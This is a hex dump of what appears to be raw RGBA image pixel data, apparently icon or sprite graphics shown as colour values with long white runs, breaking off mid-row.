A5FF55A8AAFF47ABAAFF773737FF6B4848FF528326FF5EAD10FF5FAB13FF60AC
16FF60AC17FF61A90DFF62AD12FF40E1D8FF1F87ACFF0A0000FF635E5EFFFFFF
FFFF515151FF0A0100FF121C1AFF4F838AFF9C7325FFD59910FFD39713FFD398
15FFD39816FFD39717FFD39717FFD39717FFD39817FFD39817FFD8970FFF8EA8
74FF2BBCEAFF27BAEBFF59B5B3FF8C754AFFA8A8A8FF909090FF8C8686FF75BB
BFFFFAFFFFFF82B3BEFF4E9FB2FF53A5B7FF53A6B8FF48A3B9FFD8E7EBFFB0EF
F2FF94A5A7FF888686FF9B9B9BFFA1A1A1FF3C2F9EFF9289F2FF9084EAFF8E80
E6FF8B80EAFF9291FFFF86446AFF7C120FFF7D1717FF7D1717FF801212FF8208
08FF810707FF810606FF7D0A0AFF6B4949FF528425FF60AF10FF61AD13FF62AE
15FF61AE16FF63AE17FF63AD15FF67A900FF57C665FF2ACEF8FF435C67FF170A
08FF403F3EFF0F0F0FFF0F0C0CFF484747FF9C7323FFD7990BFFD3990EFFD498
10FFD49811FFD49A11FFD49A11FFD49A11FFD49A11FFD49A11FFD7990CFFBD9D
30FF5DB2ADFF49B5C2FFA2A759FF8E7446FFBCBCBCFFFFFFFFFFB6B6B6FFC3BE
BEFFFFFFFFFFAFD3DDFF80BCC9FF77B5C4FF80BDCDFFACD6E1FFBFDAE1FFFFFF
FFFF929090FFECECECFFFDFDFDFF9E9E9EFF4238A6FFCF9C93FF8C6FCDFFBCBB
FFFFE0BDAEFF8E2414FF780401FF7B1111FF7B1111FF7B1111FF7B1111FF7C11
11FF7C1010FF7B0E0EFF810A0AFF6A4747FF528323FF62B10BFF60AE0EFF61AF
10FF63AF11FF62AF11FF62AF11FF62AF11FF65AD07FF65B00DFF3DDED0FF1B85
A8FF090000FF0D0908FF0A0A0AFF474747FFA17930FFDCA733FFD8A431FFD8A4
33FFD8A433FFD8A433FFD8A433FFD8A433FFD8A433FFD8A433FFD8A433FFDCA3
2EFFD8A436FFD2A53EFFDFA62EFF998255FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF4A42ADFFBF7B6CFF861E15FFA262
6DFF9983D2FFC6CDFFFFB0706EFF8C2D2DFF8F3333FF8F3333FF8F3333FF8D33
33FF8E3333FF8C3131FF903232FF775555FF598A30FF76BB33FF73B831FF75B7
33FF74B933FF74B933FF74B933FF74B933FF74B933FF75B831FF7AB51CFF6ACE
7AFF49D4EAFF34555CFF322E2DFF555555FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBEFFBFBEBEFFBFBEBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFD4D4D4FFBDBDBEFFBDBEBEFFBEBE
BEFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBD
BDFFBEBEBEFFBDBEBEFFBDBDBEFFDEDEDEFFB7B7BAFFFFFFFFFFFFFFFFFFFFFE
FFFF9686BCFF4B3189FF51378DFF51378DFF51378DFF51378DFF51378DFF5237
8DFF50368DFF51358DFF533790FF605974FFC0BDB3FF606BFFFF6D07A4FF55A0
06FF00D812FF0FCA12FF0FCB12FF0FCA12FF0FCA12FF0FCA12FF0FCA12FF0FCA
12FF0ECA11FF0DCA10FF0DD30FFF4C8B49FF6F433AFF92402DFF90402EFF9040
2DFF96361FFF40BBD8FF28E3FFFF2ADFFFFF2ADFFFFF2AE6FFFF308FF5FF3A1F
DEFF3A27E0FF3928E1FF3928E7FF595490FF3567B4FF1D75FCFF1E76FCFF1F76
FCFF1F76FCFF1F76FCFF1F76FCFF1F76FCFF1F76FCFF1F76FCFF1F76FCFF1F76
FCFF1F76FCFF1E75FCFF1C75FCFF54719EFFBCBCBCFFFFFFFFFFFFFFFFFFCDC6
DDFF9281B1FF492D7BFF4E3482FF4E3482FF4E3482FF4E3482FF4E3482FF4E34
82FF4D3482FF4D3381FF4C3283FF605672FFC6C0B5FF5A65FFFF67079EFFFF00
04FF807013FF00D613FF0FC313FF11C313FF0EC310FF09C10BFF0AC10CFF10C3
12FF10C312FF0FC60CFF0DD105FF4D5F86FF714333FF8A3A20FF893C22FF8A3D
23FF913214FF3DB0C9FF26D9FFFF29D5FCFF29D5FCFF28DCFEFF2E86E5FF371C
D3FF3725D5FF3624D5FF3522DAFF585291FF2B50C1FF1753FFFF1955FFFF1A56
FFFF1A56FFFF1A56FFFF1A56FFFF1A56FFFF1A56FFFF1A56FFFF1A56FFFF1A56
FFFF1A55FFFF1954FFFF1753FFFF4C63A3FFB9B9B9FFFFFFFFFFFFFFFFFFBBB1
CDFF4A2F79FF4A2E79FF4C307BFF4C307BFF4C307BFF4C307BFF4C307BFF4C31
7BFF4B2F79FF4A2F78FF492D7BFF5F556FFFC3C0B5FF5964FFFF66079EFFFF0F
03FFFF0210FFB64610FF00D310FF04C107FF0DC20EFF59D55AFF4CD14DFF00BD
00FF0BC804FF0EC011FF0C17F8FF4A47A4FF6E3F2BFF873616FF883917FF873A
1AFF902E09FF3BAEC6FF24D9FFFF27D5FCFF27D5FCFF26DCFDFF2C85E4FF3519
D0FF3522D3FF331FD3FF321ED8FF57508FFF283BC0FF1131FFFF1333FFFF1535
FFFF1535FFFF1535FFFF1535FFFF1635FFFF1635FFFF1535FFFF1535FFFF1535
FFFF1535FFFF1333FFFF1131FFFF4955A2FFB9B9B9FFFFFFFFFFFFFFFFFFBFB5
CEFF8570A3FF452872FF492E75FF492E75FF492E75FF492E75FF492F75FF4A2D
75FF482E74FF482C73FF472974FF5F546EFFC4BFB3FF5862FFFF65059DFFFF0F
01FFFF1010FFFF050FFFDA1F04FF5DD058FFFFFFFFFFFFFFFFFFFFFFFFFFFEFF
F9FF1BA14BFF0802FFFF0A05FFFF49499EFF6D3C25FF87330DFF85340FFF8737
11FF8D2B00FF37AEC4FF21D7FFFF23D3FCFF23D3FCFF22DBFDFF2983E3FF3214
CEFF321FD0FF2F1DD1FF2F1AD5FF564F8FFF282BB9FF1015F5FF1317F5FF1419
F5FF1519F5FF151AF5FF151AF5FF151AF5FF151AF5FF151AF5FF1519F5FF1519
F5FF1419F5FF1217F5FF1014F5FF494B9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF8E7AA8FF42266EFF4A2D73FF4A2D73FF4A2D73FF4A2D73FF4A2E73FF482C
73FF472B72FF472971FF452873FF5D546BFFC4BEB3FF5661FFFF65049CFFFF0D
00FFFF0E0EFFFF0D0DFFFF1317FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFEBE1FFFF0000FFFF0808FFFF49499EFF6D3D24FF853209FF84330CFF8534
0DFF8E2A00FF36ACC3FF20D8FFFF22D4FCFF22D4FCFF21DBFDFF2882E3FF3113
CEFF311CD1FF2F1ACFFF2C18D6FF554E8DFFBD2323FFFB0909FFFB0C0CFFFB0E
0DFFFB0E0EFFFB0F0FFFFB0F0FFFFB0F0FFFFB0F0FFFFB0F0FFFFB0F0FFFFB0E
0EFFFB0D0DFFFB0B0BFFFB0808FFA04647FFB9B9B9FFFFFFFFFFFFFFFFFFBBB0
CBFF806A9EFF44286FFF4A2E74FF4A2E74FF4A2E74FF4A2E74FF4A2E74FF492D
74FF482C73FF472A72FF452973FF5D546DFFC4BEB3FF5963FFFF66059DFFFF0E
01FFFF1010FFFF0505FFFF7575FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF1C1CFFFF0606FFFF49499EFF6E3F24FF8B380CFF86350DFF8435
0EFF8E2B00FF37ACC3FF20D8FFFF23D4FCFF23D4FCFF22DBFDFF2882E3FF3113
CEFF311DD1FF2F1BD1FF2C18D6FF554E8DFFBE2323FFFF0C0CFFFF0E0EFFFF0F
0FFFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF0F
0FFFFF0E0EFFFF0C0CFFFF0909FFA04646FFB9B9B9FFFFFFFFFFFFFFFFFFBCB2
CCFF4A2E73FF472971FF492D73FF492D74FF4A2E74FF4A2E74FF4A2E74FF492D
74FF482C73FF472A72FF452873FF5D546DFFC4BEB3FF5A64FFFF67089EFFFF11
03FFFF0F0FFFFF0505FFFF7070FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF1717FFFF0606FFFF49499EFF6F3F25FF8C3B0EFF8C3C11FF8B3B
11FF8D2B00FF36ACC3FF20D7FFFF23D4FCFF23D4FCFF22DBFDFF2882E3FF3113
CEFF311DD1FF2F1BD1FF2C18D6FF554E8DFFBE2323FFFF0E0EFFFF1111FFFF11
11FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF1010FFFF0F
0FFFFF0E0EFFFF0C0CFFFF0909FFA04646FFB9B9B9FFFFFFFFFFFFFFFFFFD6CF
DFFF9787B1FF4C2E76FF4D3175FF492D72FF482C72FF482C72FF482C72FF472B
72FF462A71FF452870FF462972FF5D546DFFC4BEB3FF5B65FFFF68099FFFFF14
06FFFF1515FFFF1111FFFF0C0BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFDDD0FFFF0000FFFF0909FFFF49499EFF703F25FF8F3E0FFF8D4012FF8F41
14FF963704FF3DB0C5FF22D8FFFF21D3FCFF21D3FCFF21DBFDFF2782E2FF3013
CEFF2F1BD0FF2D19CEFF2C18D5FF564E8DFFBD2424FFFB0F0FFFFB1212FFFB14
14FFFB1515FFFB1414FFFB1111FFFB1010FFFB0F0FFFFB0F0FFFFB0F0FFFFB0F
0FFFFB0E0EFFFB0C0CFFFB0909FFA04747FFB9B9B9FFFFFFFFFFFFFFFFFFF5F2
F7FF9787B1FF52347CFF573B82FF573B82FF563A81FF543880FF53377DFF5337
7DFF53377DFF55377DFF573984FF5F546EFFC4BEB3FF5C66FFFF6A0AA0FFFF16
08FFFF1717FFFF0807FFCF3B40FF5AE7FAFFFFFFFFFFFFFFFFFFFFFFFFFFEDFF
FEFF27C3FAFF0F0FFEFF0F09FFFF49499EFF713F26FF914110FF914313FF9244
16FF983A06FF45B4C6FF2FDBFFFF32D8FCFF2FD8FCFF2EDEFDFF3388E5FF3B1D
D1FF3C27D5FF3C26D5FF3E26DBFF564F8FFFBDBABAFFFAF6F6FFFAF6F6FFFAF6
F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6F6FFFAF6
F6FFFAF6F6FFFAF6F6FFFAF6F6FFA09E9EFFB9B9B9FFFFFFFFFFFFFFFFFFBDB1
CDFF745C98FF573A82FF593D83FF593D85FF593D85FF593D84FF593D84FF593D
84FF593C84FF573A83FF593A85FF5F556EFFC4BEB3FF5C66FFFF6A0AA0FFFF14
07FFFF0200FFAC6871FF15F9FFFF23E4FDFF1EE2FBFF59E8FBFF4CE7FBFF18E1
FBFF29E9FCFF2AEBFBFF1228FFFF48479EFF724025FF934310FF934513FF9446
15FF9B3C05FF46B7C6FF2FDCFFFF32D9FCFF32D9FCFF31E0FDFF398CE7FF4323
D5FF412BD7FF3F29D5FF3F26DCFF564F8FFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FFB9B9B9FFFFFFFFFFFFFFFFFFBFB3
CFFF6D5394FF563982FF583B84FF583C84FF583C84FF583B84FF583B84FF583B
84FF583B84FF573A83FF5A3987FF5D526DFFC3C0B5FF5964FFFF69039CFFFF00
00FF769AA8FF14F8FFFF28E4FDFF28E4FCFF28E4FCFF23E4FCFF24E4FCFF28E4
FCFF27E4FCFF25E7FCFF26FAFFFF4B649CFF714023FF95440BFF93440EFF9445
10FF9B3C00FF44B6C6FF2DDEFFFF30DAFCFF30DAFCFF2FE1FDFF368CE9FF401F
D5FF4027D7FF3F25D7FF4024DEFF554E8DFFBDBDBDFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FFC0C0C0FFFFFFFFFFFFFFFFFFF3F1
F6FFA193B9FF6A4F91FF6D5493FF6D5493FF6D5493FF6D5493FF6D5493FF6D54
93FF6D5493FF6C5392FF6F5596FF69607AFFC7C3BAFF7379FFFF792EB2FF6ECC
D2FF39F5FFFF45E8FFFF45E8FFFF45E8FFFF45E8FFFF45E8FFFF46E8FFFF44E8
FFFF45E8FFFF44E8FFFF45EDFFFF5BA5ACFF77482FFFA45F33FFA15C31FFA25C
33FFA85424FF5CC3D4FF47E3FFFF49E0FFFF49E0FFFF49E6FFFF519DEFFF5A3D
DBFF5845DDFF5844DDFF5945E1FF615B9CFFB7B7B7FFF7F7F7FFF7F7F7FFF7F7
F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7F7FFF7F7
F7FFF7F7F7FFF7F7F7FFF7F7F7FFA9A9A9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC3C3C2FFC6C6C5FFC5C4
C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4
C4FFC5C4C4FFC6C6C5FFC2C2C1FFFFFFFFFFFFFFFFFFC4C4C4FFC6C5C6FFC6C6
C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF6D3F2AFF8F3B10FF8B3A11FF8D39
12FF8C3A12FF8C3A12FF8C3A12FF8C3A12FF8D370EFF8C3910FF8F360DFF8D39
11FF8D350BFF8C3A10FF8F3A10FF725A4EFF2969BAFF178DFFFF1789FFFF178A
FFFF1789FFFF1889FFFF1889FFFF1889FFFF1889FFFF1889FFFF1889FFFF1789
FFFF188AFFFF1789FFFF188FFFFF4D719EFF4B9C82FF58E2B7FF53DAB0FF52D9
AFFF53D9AFFF53D9B0FF53D9B0FF5AE5A0FF1C79FFFF2185FFFF2186FFFF2186
FFFF2285FFFF2286FFFF248EFFFF50709DFF50497BFF1935F9FF1D35F0FF2137
E9FF2136E9FF2036E9FF2036E9FF2036E9FF2036E9FF2036E9FF2036E9FF2136
E9FF2137E9FF2036EAFF2137F0FF505994FF6F4028FF883610FF873810FF8739
11FF883A13FF883A13FF883A13FF88370EFF805E45FF8C4323FF656E4DFF813E
16FF7D7464FF88320AFF8A3710FF755A4DFF2E56ACFF1D61EDFF1E5FE7FF1F60
E7FF1F60E7FF2060E7FF2060E7FF2060E7FF2060E7FF2060E7FF2060E7FF1F60
E7FF1F60E7FF1D5FE7FF1C60F1FF536A9AFF509060FF53BF6DFF53B96AFF54BA
6CFF54BA6CFF55B969FF5BB55BFF64C244FF2540FFFF2C4FEFFF2A5BEEFF295E
EEFF285DEDFF275CEDFF275DF8FF536898FF80513FFF9B4E37FF4937A9FF1A29
ECFF1C24DAFF1A20D6FF1A20D6FF1A20D6FF1A20D6FF1A20D6FF1A20D6FF1A20
D6FF1B1FD6FF191ED6FF191DDCFF4C5194FF6D3F25FF86340EFF853710FF8738
11FF863810FF863710FF883710FF882D04FF837D6FFF65663EFF479675FF4889
62FF826B57FF86401DFF89330AFF73584BFF3048A6FF1F47E6FF2146DFFF2247
DFFF2248E1FF2248E1FF2248E1FF2248E1FF2248E1FF2248E1FF2248E1FF2248
DFFF2247DFFF2046DFFF1F47E9FF536095FF508744FF55B23FFF55AF40FF56AE
41FF58AE3AFF5BA930FF23D9B5FF14F3CAFF11C9EFFF14BBEAFF2D37E5FF2D3E
E9FF2B44E9FF2843E7FF2A44F3FF555E94FF814933FFA34820FFAA4B16FF9043
3EFFA9A4D9FFBCCCFFFFB6BEF4FFB6BDF1FFB6BDF1FFB6BDF1FFB6BDF1FFB4BD
F1FFB4BDF1FFB5BCF1FFB8C1F8FF83879CFF6D3D25FF85320AFF86350EFF8536
0EFF873510FF87370FFF87320AFF83624BFF83AEACFF3C8958FF4D9E87FF3E76
41FF707651FF536230FF88330BFF725849FF313AA1FF1F30DFFF2232D9FF2333
DAFF2234DAFF2434DAFF2434DAFF2434DAFF2434DAFF2434DAFF2434DAFF2234
DAFF2333DAFF2231D9FF2031E3FF535893FF51812CFF57A818FF57A51BFF59A5
17FF5CA213FF00F8FFFF3AB28DFF244AC9FF1F33E5FF2D78D7FF04FFE6FF2D2F
E3FF2E2BE3FF2B2DE3FF292DEFFF555692FF854628FFA9400EFFA73E0EFFA93F
0AFFA73700FFCA8A62FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A2A0FF6D3D25FF853209FF84330DFF8534
0CFF86350DFF873710FF88310AFF726445FF8D916DFF9EB573FF879F86FF3B92
69FFEA984BFF59ACA7FF8C3D1AFF725548FF21269CFF060FD9FF0710D2FF0811
D4FF0A12D4FF0B13D4FF0B13D4FF0B13D4FF0B13D4FF0B13D4FF0B13D4FF0A12
D4FF0811D4FF080FD3FF050EDBFF4A4C90FF517D25FF58A609FF56A10CFF5E9D
00FF26CD9BFF38BD8AFF1700F4FFAECBDCFFB6CED6FF1B06E3FF1AD2E6FF18A9
E2FF3014E2FF2B24E3FF2B24EDFF555391FF864323FFB24713FFB85C31FFB95F
34FFB04717FFA93A05FFA73500FFDBAC92FFD1D6FFFFD4D3FDFFD8D4F6FFD8D4
F4FFD7D4F4FFD7D3F4FFDCD9FCFF918F9BFF6E3F24FF893509FF7D2A00FF852F
01FF89380BFF86360EFF8A2F06FF55A48EFF847346FFFFAE40FF3DA78FFFB8B7
6CFFCABB7DFF75958AFF707C65FF735447FF9D9EB2FFD8DBFEFFD2D4F6FFD3D4
F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5
F8FFD3D4F8FFD2D5F6FFDADDFFFF8F909CFF518026FF5DA90EFF58A210FF629A
00FF0CE6E5FF2C98A6FF3A96F3FFFFCF83FFFFCF84FF4599E5FF227CD6FF0CE9
E2FF310FE3FF2B26E3FF2B26EDFF565391FF874524FFA72E00FFFEFEFEFFFDFB
FBFFA32D00FFAD4310FFAC410EFFAA3901FF9C310EFF4A198FFF1D0BD3FF210D
CDFF210BCDFF1F09CDFF1D07D2FF50498CFF693520FF974815FFE0C5B2FFB7BE
FFFF8664A6FF853103FF873108FF885A44FF74C6C5FFB7B673FF7B989CFFCA96
58FF7B925BFF59653BFF8A2500FF725649FFBCBCB7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF548026FF60AB11FF5EA713FF679E
00FF19DEC5FF13A3DBFF4E42E7FFFFF9B5FFFFF5B2FF5854E3FF276CDCFF12CF
E4FF3013E1FF2B25E3FF2B25EDFF565391FF864220FFCD8A64FFF2E2DBFFF2E3
DBFFC98462FFAA3C08FFAB410DFFAA3800FF942D18FF3F159CFF1D0BD2FF200B
CCFF200ACCFF1E09CDFF1B06D2FF4F488CFFA89787FFBDBBFFFF8569BAFFA059
2EFF8F3A00FF8D3D12FF8A3F19FF49652DFF918977FF679388FF857B84FF6FA3
A8FF7A6039FF82BCBFFF7D8879FF725447FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF548127FF63AD11FF62A915FF6AA4
03FF2FDAA4FF18B9F7FF3055F0FF7B92ECFF799DE4FF325EE6FF219FDAFF13AA
E0FF2E15E3FF2823E2FF2A25EDFF565391FF874625FFB04304FFBC6433FFBC62
31FFAF460AFFAC4208FFAB3D07FFE0B7A2FFDEE5FFFFE2E1FDFFE5E2F8FFE5E2
F8FFE5E2F8FFE5E2F8FFEBE8FFFF95949BFF6760ACFF8575E8FF887AEAFF8880
FAFF8B70BFFF934008FF8E4F22FF736A3EFF567A47FF88876DFF6E9384FF6C9A
89FF87D5DCFF7DCCD1FF918369FF735547FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF548127FF67AF13FF65AB16FF67AB
16FF6EA601FF1FD0E3FF47859DFF408198FF323AE7FF3A4EDBFF1DE1E0FF3B25
E4FF3931E5FF3934E6FF3D37F1FF565590FF894826FFB64E10FFB24C0EFFB64D
0CFFB44801FFDBA178FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF6E67AEFF8B7BEAFF8577E8FF8881
F9FF8D72BFFF944208FF984315FF78D9DFFF845D2EFF95512EFF5A6762FF7367
5CFF9B3300FF72B4A7FF7C6632FF745647FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF558227FF6AB113FF67AD16FF68AE
1AFF69AD17FF72A900FF38D791FF21ECC3FF1AC5EDFF24ACE9FF4125E6FF3F36
E7FF3D38E7FF3C36E5FF3D38F2FF565390FF874A25FFBA520DFFC05500FF9C48
3EFFB2A4E2FFBEBCFFFFB9B1F1FFB8B0EFFFB8B0EFFFB8B0EFFFB8B0EFFFB8B0
EFFFB8B0EFFFB7AFEFFFBCB3F6FF838098FF6D5372FFA39BFFFFE1D1D4FFB978
3AFF8F3800FF944611FF94450FFF96420DFF96450FFF974915FF888A60FF8271
